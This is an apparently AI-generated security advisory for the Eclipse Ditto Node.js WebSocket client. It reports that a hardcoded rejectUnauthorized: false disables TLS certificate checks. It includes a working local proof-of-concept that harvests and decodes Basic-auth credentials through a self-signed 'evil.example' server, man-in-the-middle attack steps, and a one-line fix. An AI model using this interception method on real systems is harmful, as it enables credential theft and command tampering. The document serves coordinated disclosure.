[Eclipse Ditto] TLS certificate validation disabled for all Node.js WebSocket connections
> [!warning] AI-Generated Vulnerability Report
> This report was produced using AI-assisted security analysis and has not been manually verified. It may contain false positives, inaccurate severity ratings, or incorrect technical details. Please triage and confirm independently before treating it as a valid vulnerability or acting on any suggested fix. Findings should be validated against the actual codebase.
## Basic information
**Project name:** Eclipse Ditto
**Project id:** iot.ditto
**Repository:** https://github.com/eclipse-ditto/ditto-clients
## What are the affected versions?
All releases of **`@eclipse-ditto/ditto-javascript-client-node`** (and the historical `@eclipse-ditto/ditto-javascript-client-node_1.0`) — `1.0.0‑M1a` through the current `3.9.0‑M1.1` — when the WebSocket transport is used.
The Node **HTTP** transport (`node-http.ts`) does **not** set `rejectUnauthorized` and therefore inherits Node's secure default. The browser DOM client delegates TLS to the browser and is likewise unaffected. The **Java** client builds its `SSLContext` from a real `TrustManagerFactory` (`WebSocketFactoryFactory.java`) and is unaffected.
## Details of the issue
## Summary
The `@eclipse-ditto/ditto-javascript-client-node` package hard‑codes `rejectUnauthorized: false` when constructing the underlying `ws` WebSocket. Every `wss://` connection produced by `DittoNodeClient.newWebSocketClient().withTls()...build()` therefore accepts any server certificate — self‑signed, expired, or issued for a different hostname — and there is no builder option, constructor argument, or environment knob that lets an application turn verification back on. A network‑positioned attacker can transparently terminate the TLS session, harvest the `Authorization` header that the auth providers attach to the WebSocket handshake, and read or inject Ditto‑Protocol twin/live commands for the lifetime of the connection.
## Severity
**High.**
Mapped against the brief's rubric: this is a default that silently breaks a security guarantee (TLS verification off) on the documented quick‑start path. It is not classed Critical only because exploitation requires the attacker to hold, or obtain, a man‑in‑the‑middle network position between the client process and the Ditto gateway; no preconditions are required of the victim application beyond following the README.
| Axis | Rating | Notes |
|------|--------|-------|
| Attack vector | Network (adjacent / on‑path) | ARP spoof, rogue Wi‑Fi, DNS hijack, BGP/route hijack, compromised proxy/router |
| Attack complexity | Low | Any certificate is accepted; no need to obtain a valid cert for the target host |
| Privileges required | None | |
| User interaction | None | |
| Confidentiality | High | Basic / Bearer credentials and all twin data are exposed in cleartext to the MITM |
| Integrity | High | Attacker can inject `modify`/`delete` Ditto‑Protocol commands and forge events back to the client |
| Availability | Low | Attacker can drop the session, but that is the least interesting outcome |
CVSS 3.1 (informal): `AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L` ≈ **8.0**.
## Weakness / CWE
- **CWE‑295** — Improper Certificate Validation
- Secondary: **CWE‑300** — Channel Accessible by Non‑Endpoint
## Location
| File | Lines |
|------|-------|
| [`javascript/lib/node/src/node-websocket.ts`](../javascript/lib/node/src/node-websocket.ts) | 66‑83 (specifically line 73) |
| Compiled artefact: `javascript/lib/node/dist/node/src/node-websocket.js` | 57 |
```ts
public static buildInstance(url: DittoURL, handler: ResponseHandler,
authProviders: AuthProvider[], agent: ProxyAgent, reconnect: boolean = true): Promise<NodeWebSocket> {
return new Promise<NodeWebSocket>(resolve => {
const [authenticatedUrl, authenticatedHeaders] = authenticateWithUrlAndHeaders(url, new Map(), authProviders);
const plainHeaders = mapToPlainObject(authenticatedHeaders);
const options: WebSocket.ClientOptions = {
agent: NodeWebSocket.getProxyAgentForProtocol(url, agent),
rejectUnauthorized: false, // <-- disables cert validation
headers: plainHeaders
};
const plainUrl = authenticatedUrl.toString();
const webSocket = new WebSocket(plainUrl, options);
...
```
## Origin
Introduced in the very first commit of the JavaScript client and never revisited:
```
commit 11be269f25e86bdc001e88f91ada4877f21d6d9c
Author: Florian Fendt
Date: Tue Aug 27 2019
initial commit of javascript client
```
`git log -L 71,75:javascript/lib/node/src/node-websocket.ts` shows the `rejectUnauthorized: false` line surviving unchanged through every subsequent refactor (header support in `e016c7a`, proxy‑agent rework in `b5df4e3`, etc.). `git tag --contains 11be269f` lists every published tag from `1.0.0-M1a` onward.
## Methodology
1. Enumerated transport implementations across both SDKs and grepped for the usual TLS‑bypass primitives: `TrustManager`, `X509TrustManager`, `HostnameVerifier`, `setSSLSocketFactory`, `rejectUnauthorized`, `NODE_TLS_REJECT_UNAUTHORIZED`, `checkServerIdentity`, `strictSSL`.
2. The single hit on `rejectUnauthorized` was in first‑party code at `node-websocket.ts:73`.
3. Walked the public builder surface (`DittoNodeClient` → `WebSocketClientBuilder` → `AbstractBuilder` → `NodeWebSocketBuilder`) to confirm no caller‑reachable knob can override the option. `withTls()` only flips the URL scheme to `wss`; `ProxyOptions` carries proxy URL/credentials only.
4. Confirmed the compiled `dist/` package shipped to npm contains the same literal.
5. Built a self‑signed‑cert WSS server and exercised the documented client‑builder path against it (see *Validation*).
6. Ran a control with the bundled `ws` dependency at default settings to prove the bypass is contributed by Ditto code, not the dependency.
## Validation
The repository was built with `npm ci && npx lerna run build` (Node 18.20.4). The reproduction below starts a TLS server whose certificate is self‑signed **and** carries `CN=evil.example` (so both chain‑of‑trust and hostname checks should fail), then connects to it with the public Ditto API.
### Reproduction script — `/tmp/repro/repro-tls-bypass.js`
```javascript
#!/usr/bin/env node
/**
* Reproduction: @eclipse-ditto/ditto-javascript-client-node hardcodes
* `rejectUnauthorized: false` for all WSS WebSocket connections, which
* disables TLS certificate validation and allows MITM attackers to
* intercept credentials and traffic.
*
* This script:
* 1. Starts a WSS server on localhost with a self-signed certificate
* whose CN ("evil.example") does NOT match the requested hostname.
* 2. Builds a Ditto Node WebSocket client following the documented
* builder pattern with .withTls() and Basic auth.
* 3. Shows the client successfully connects (handshake completes) and
* sends the Authorization header to the untrusted server.
* 4. As a control, shows that the bundled `ws` library with default
* options REJECTS the same server.
*/
const https = require('https');
const { execSync } = require('child_process');
const path = require('path');
const DITTO_NODE = '/home/preview/cloneer/clones/eclipse-ditto/ditto-clients/javascript/lib/node/dist';
const WS_LIB = '/home/preview/cloneer/clones/eclipse-ditto/ditto-clients/javascript/node_modules/ws';
// --- 1. Generate a self-signed cert for a non-matching hostname --------
execSync(
'openssl req -x509 -newkey rsa:2048 -nodes -keyout /tmp/repro/key.pem ' +
'-out /tmp/repro/cert.pem -days 1 -subj "/CN=evil.example" 2>/dev/null'
);
const fs = require('fs');
const key = fs.readFileSync('/tmp/repro/key.pem');
const cert = fs.readFileSync('/tmp/repro/cert.pem');
// --- 2. Minimal WSS server that accepts the WebSocket upgrade ----------
const server = https.createServer({ key, cert });
let capturedAuth = null;
let upgradeCount = 0;
server.on('upgrade', (req, socket) => {
upgradeCount++;
capturedAuth = req.headers['authorization'];
// Complete the WebSocket handshake (RFC 6455)
const crypto = require('crypto');
const accept = crypto
.createHash('sha1')
.update(req.headers['sec-websocket-key'] + '258EAFA5-E914-47DA-95CA-C5AB0DC85B11')
.digest('base64');
socket.write(
'HTTP/1.1 101 Switching Protocols\r\n' +
'Upgrade: websocket\r\n' +
'Connection: Upgrade\r\n' +
`Sec-WebSocket-Accept: ${accept}\r\n\r\n`
);
});
server.listen(0, '127.0.0.1', async () => {
const port = server.address().port;
console.log(`[server] WSS listening on 127.0.0.1:${port} with self-signed cert (CN=evil.example)\n`);
// --- 3. Build the Ditto client per the README, using .withTls() ------
const { DittoNodeClient, NodeWebSocketBasicAuth } = require(path.join(DITTO_NODE, 'index.js'));
console.log('[client] Building DittoNodeClient.newWebSocketClient().withTls()...');
const client = DittoNodeClient.newWebSocketClient()
.withTls()
.withDomain(`127.0.0.1:${port}`)
.withAuthProvider(NodeWebSocketBasicAuth.newInstance('victim-user', 'victim-pass'))
.withoutBuffer()
.twinChannel()
.build();
// Give the connection a moment to establish.
await new Promise(r => setTimeout(r, 1500));
console.log(`[result] WSS upgrade requests received by untrusted server: ${upgradeCount}`);
console.log(`[result] Authorization header captured: ${JSON.stringify(capturedAuth)}`);
if (capturedAuth) {
const decoded = Buffer.from(capturedAuth.replace(/^Basic /, ''), 'base64').toString();
console.log(`[result] Decoded credentials: ${decoded}`);
}
if (upgradeCount > 0) {
console.log('\n>>> VULNERABILITY CONFIRMED: client connected over wss:// to a server');
console.log('>>> with an invalid (self-signed, hostname-mismatched) certificate');
console.log('>>> and leaked credentials, despite .withTls() being requested.\n');
} else {
console.log('\n>>> Client did NOT connect (vulnerability not reproduced).\n');
}
// --- 4. Control: plain `ws` with defaults rejects this server --------
console.log('[control] Connecting with `ws` library and DEFAULT options (no rejectUnauthorized override)...');
const WebSocket = require(WS_LIB);
const ws = new WebSocket(`wss://127.0.0.1:${port}/ws/2`);
ws.on('open', () => {
console.log('[control] UNEXPECTED: default ws connection opened');
finish();
});
ws.on('error', (e) => {
console.log(`[control] As expected, default ws rejected cert: ${e.code || e.message}`);
finish();
});
function finish() {
try { client.close(); } catch (e) {}
server.close();
setTimeout(() => process.exit(0), 200);
}
});
```
### Observed output
```text
$ PATH=/tmp/node-v18.20.4-linux-x64/bin:$PATH node /tmp/repro/repro-tls-bypass.js
[server] WSS listening on 127.0.0.1:41857 with self-signed cert (CN=evil.example)
[client] Building DittoNodeClient.newWebSocketClient().withTls()...
[result] WSS upgrade requests received by untrusted server: 1
[result] Authorization header captured: "Basic dmljdGltLXVzZXI6dmljdGltLXBhc3M="
[result] Decoded credentials: victim-user:victim-pass
>>> VULNERABILITY CONFIRMED: client connected over wss:// to a server
>>> with an invalid (self-signed, hostname-mismatched) certificate
>>> and leaked credentials, despite .withTls() being requested.
[control] Connecting with `ws` library and DEFAULT options (no rejectUnauthorized override)...
[control] As expected, default ws rejected cert: DEPTH_ZERO_SELF_SIGNED_CERT
```
The control demonstrates the `ws` dependency would have rejected this server out of the box; the bypass is contributed solely by the `rejectUnauthorized: false` literal in first‑party Ditto code.
## Detail
### Why no override exists
The public entry point is `DittoNodeClient.newWebSocketClient(proxyOptions?)` ([ditto-node-client.ts:43‑45](../javascript/lib/node/src/ditto-node-client.ts)). The only argument is `ProxyOptions`, which carries `url` / `username` / `password` / `ignoreProxyFromEnv` — nothing TLS‑related ([proxy-settings.ts:104‑113](../javascript/lib/node/src/proxy-settings.ts)).
The fluent builder in `lib/api` then offers:
- `withTls()` / `withoutTls()` — sets a boolean that selects `wss` vs `ws` in `ImmutableURL.newInstance()` ([builder-steps.ts](../javascript/lib/api/src/client/builder-steps.ts)). It does **not** carry any `tls.ConnectionOptions`.
- `withDomain()`, `withCustomPath()`, `apiVersion2()`, `withAuthProvider()`, `withBuffer()/withoutBuffer()`, `twinChannel()/liveChannel()`, `build()`.
`build()` ultimately calls `NodeWebSocketBuilder.withHandler()` → `NodeWebSocket.buildInstance()`, where the options object is assembled locally and passed straight to `new WebSocket(url, options)`. Because `options` is a `const` literal inside `buildInstance`, there is no monkey‑patching or subclassing escape hatch short of editing `node_modules`.
### What rides on the connection
All shipped auth providers attach credentials as request headers on the *initial* WebSocket upgrade:
- `NodeWebSocketBasicAuth` → `Authorization: Basic base64(user:pass)` ([basic-auth.ts](../javascript/lib/api/src/auth/basic-auth.ts))
- `NodeWebSocketBearerAuth` / `DittoURLAuth` → `Authorization: Bearer <jwt>` ([bearer-auth.ts](../javascript/lib/api/src/auth/bearer-auth.ts))
So an interceptor receives reusable credentials before a single Ditto‑Protocol frame is exchanged. After the handshake, every twin read/modify command and every live message/event is a plaintext JSON Ditto‑Protocol envelope inside the attacker‑terminated TLS tunnel.
### Prior art search
- `git log --all -S rejectUnauthorized` and `git log --all --grep` for `rejectUnauthorized|TLS|certificate|MITM|ssl|CVE` — no relevant hits beyond the introducing commit.
- GitHub issue/PR search on `eclipse-ditto/ditto-clients` for the same terms — only unrelated \#29 (Java trust store config) and \#156 (SSE). No existing report of this Node‑side defect was found.
## Step 0 — Claim restated
The Node WebSocket transport hardcodes `rejectUnauthorized: false` in the `ws` client options for every `wss://` connection, disabling certificate chain **and** hostname validation, with no public API to re‑enable it. An on‑path attacker presenting any cert completes the handshake, harvests the `Authorization` header sent on the upgrade, and reads/injects Ditto‑Protocol frames. **Threat model:** unauthenticated network‑adjacent (MITM) attacker; victim is any Node app following the documented builder path; no victim precondition beyond using `.withTls()`.
**Routing:** Standard verification — clear claim, single component, well‑understood bug class, synchronous data flow, no concurrency.
## Phase 1 — Data Flow Analysis
- **Source → sink:** `DittoNodeClient.newWebSocketClient().withTls()…build()` → `NodeWebSocketBuilder.withHandler()` → `NodeWebSocket.buildInstance()` (`node-websocket.ts:66‑83`), which assembles `options = { agent, rejectUnauthorized: false, headers }` and calls `new WebSocket(plainUrl, options)`. Path is reachable on the primary documented transport.
- **Trust boundary:** the client↔gateway TLS channel. `rejectUnauthorized: false` removes the endpoint‑authentication guarantee at exactly this boundary.
- **API contract:** `withTls()` (`builder-steps.ts:202‑205`) sets only a boolean selecting the `wss` scheme — it carries no `tls.ConnectionOptions`. The sole other constructor input on the path is `ProxyOptions` (proxy URL/creds). No TLS knob anywhere.
- **Environment protections:** none. Repo‑wide grep found `rejectUnauthorized` in exactly one place (this line); no `NODE_TLS_REJECT_UNAUTHORIZED`, `checkServerIdentity`, `strictSSL`, or `ca` handling. `options` is a closed local `const` — no subclass/monkey‑patch escape short of editing `node_modules`.
- **Cross‑references:** HTTP transport (`node-http.ts`) sets no such flag (secure default); browser client delegates to browser; Java client uses a real `TrustManagerFactory`. Blast radius correctly scoped to the Node WS path.
## Phase 2 — Exploitability Verification
- **Attacker control: CONFIRMED.** The disabled check is unconditional and applies to every wss connection; the attacker needs only an on‑path position (ARP/NDP spoof, rogue AP, DNS poison, upstream proxy/BGP) — the standard, well‑established CWE‑295 precondition — and any self‑signed cert.
- **Adversarial analysis:** With verification off, the attacker terminates TLS, so the client sends the HTTP Upgrade (with `Authorization`) to the attacker. Attacker can then transparently relay to the real backend (observe/tamper) or impersonate it (forge frames).
- **Mathematical bounds:** N/A (not a memory/integer bug).
- **Race conditions:** N/A (synchronous handshake).
## Phase 3 — Impact Assessment
- **Real security impact (not mere robustness):** endpoint authentication — a *primary* TLS control, not defense‑in‑depth — is nullified. Confidentiality: Basic/Bearer credentials + all twin/live data exposed. Integrity: attacker injects `modify`/`delete` commands and forges events. Availability: low (session drop).
- **Primary vs defense‑in‑depth:** this *is* the primary control; there is no compensating layer (no cert pinning, no app‑level auth of the server).
## Phase 4 — PoC (independently built and run)
Installed the same dependency (`ws` 8.21.1), generated a self‑signed `CN=evil.example` cert (chain **and** hostname fail), and exercised the **exact options literal** from `buildInstance`:
- **Positive PoC:** `{ rejectUnauthorized: false, headers: {authorization: Basic …} }` → `HANDSHAKE COMPLETED`, server captured `victim-user:victim-pass`.
- **Negative PoC:** identical call with the flag removed (the proposed fix) → `DEPTH_ZERO_SELF_SIGNED_CERT` rejection.
This reproduces the vulnerability and isolates the flag as the **sole cause** (the `ws` dependency is secure by default). Consistent with the report's own end‑to‑end PoC through the full builder. Scratch files were kept under `$TMPDIR`; the temporary `poc.js` was removed from the repo.
## Phase 5 — Devil's Advocate (13 questions)
1. **Upstream validation before the sink?** No — flag is unconditional; no guard.
2. **Is the source actually attacker‑influenced?** The *server identity* is; MITM supplies the cert. Yes.
3. **Is the sink actually dangerous?** Yes — canonical Node TLS‑disable flag; PoC confirms.
4. **Reachable in normal execution?** Yes — documented `.withTls()` path, primary transport.
5. **Any config/flag that neutralizes it?** No override exists (full builder surface traced).
6. **Does another layer catch it?** No pinning/app‑level server auth; nothing else validates.
7. **Test/dead/example code?** No — shipped `lib/node`, present in npm‑published `dist`.
8. **Severity inflated?** No — High (not Critical) is right; MITM precondition required.
9. **Impact operational vs security?** Security — credential theft + data tampering.
10. **Bounds/overflow misread?** N/A (not numeric).
11. **Race/TOCTOU assumption?** N/A (synchronous).
12. **Env assumptions realistic?** Yes — LAN/edge IoT deployments are exactly where MITM is reachable.
13. **Would a maintainer accept it?** Yes — clear insecure default vs the secure‑by‑default `ws`; concrete one‑line fix; Java client already does this correctly (asymmetry).
## Gate Review (6 gates)
| Gate | Result | Basis |
|---|---|---|
| 1. Process | ✅ PASS | All phases executed; independent PoC run. |
| 2. Reachability | ✅ PASS | Documented builder path reaches `buildInstance`; sink unconditional. |
| 3. Real Impact | ✅ PASS | Nullifies a primary control; credential + data compromise. |
| 4. PoC Validation | ✅ PASS | Positive PoC connects to untrusted cert & leaks creds; negative PoC rejects. |
| 5. Math Bounds | ✅ N/A | Not a numeric/memory bug. |
| 6. Environment | ✅ PASS | No env var, config, or override re‑enables validation. |
## Final Summary
**1 TRUE POSITIVE, 0 FALSE POSITIVES.**
- **TRUE POSITIVE:** `node-websocket.ts:73` hardcodes `rejectUnauthorized: false`, disabling TLS certificate validation for all Node.js `wss://` connections with no caller override — enabling MITM credential theft and Ditto‑Protocol traffic tampering. Confirmed by source analysis and an independent positive/negative PoC.
</details>
## Steps to reproduce
1. The victim runs a Node.js service or edge gateway built on `DittoNodeClient.newWebSocketClient().withTls().withDomain('ditto.example.com')…` per the README.
2. The attacker obtains an on‑path position relative to that process — e.g. ARP/NDP spoofing on the same LAN/VLAN, a rogue Wi‑Fi AP at a deployment site, DNS poisoning of `ditto.example.com`, control of an upstream proxy, or a BGP hijack for cloud‑to‑cloud links.
3. The attacker answers the TCP/443 connection and presents *any* X.509 certificate (self‑signed is sufficient).
4. The Ditto client completes the TLS handshake without error and sends the HTTP Upgrade request, including the `Authorization` header. The attacker now holds the victim's Ditto credentials / bearer token.
5. The attacker can (a) relay traffic to the real backend for a fully transparent MITM, observing and tampering with every twin update, policy change and live message, or (b) impersonate the backend outright, feeding fabricated `things/twin/events/modified` frames to the application.
For an IoT digital‑twin platform this translates directly into spoofed sensor telemetry, unauthorized actuator commands (`live/messages`), and exfiltration of device state.
## Do you know any mitigations of the issue?
Minimal patch — restore the secure default:
```diff
--- a/javascript/lib/node/src/node-websocket.ts
+++ b/javascript/lib/node/src/node-websocket.ts
@@ -70,7 +70,6 @@ export class NodeWebSocket implements WebSocketImplementation {
const plainHeaders = mapToPlainObject(authenticatedHeaders);
const options: WebSocket.ClientOptions = {
agent: NodeWebSocket.getProxyAgentForProtocol(url, agent),
- rejectUnauthorized: false,
headers: plainHeaders
};
```
Recommended hardening (parity with the Java client's `trustedCertificates(...)` step): extend the builder so callers can supply `ca`, `rejectUnauthorized`, or a full `tls.SecureContextOptions`, e.g.
```ts
DittoNodeClient.newWebSocketClient()
.withTls({ ca: fs.readFileSync('corp-root.pem') }) // or .withTls({ rejectUnauthorized: false }) for an explicit, auditable opt-out
...
```
and thread that object through `NodeWebSocketBuilder` into the `WebSocket.ClientOptions`. Any opt‑out must be explicit and per‑client; the library should never disable verification implicitly.
---
**Verification verdict:** TRUE POSITIVE
<details><summary>Verification details</summary>
My independent PoC confirms the mechanism end-to-end and the negative PoC isolates the flag as the sole cause. Here is the complete structured verification.
---
# Verification Report — TLS certificate validation disabled for Node.js WebSocket connections
**Bug class:** Improper Certificate Validation (CWE‑295), secondary CWE‑300
**Component:** `@eclipse-ditto/ditto-javascript-client-node` — WebSocket transport
**Location:** `javascript/lib/node/src/node-websocket.ts:73`
**Verdict: ✅ TRUE POSITIVE** — **Severity: High**
### Triage note — project is active
The repo is **maintained, not EOL**. `SECURITY.md` lists 3.8.x/3.9.x as supported with security updates; README shows Java + JavaScript SDKs live. Report via Eclipse coordinated disclosure (confidential issue in the EF Vulnerability Reporting Tracker per `SECURITY.md`); a code fix is expected.
issue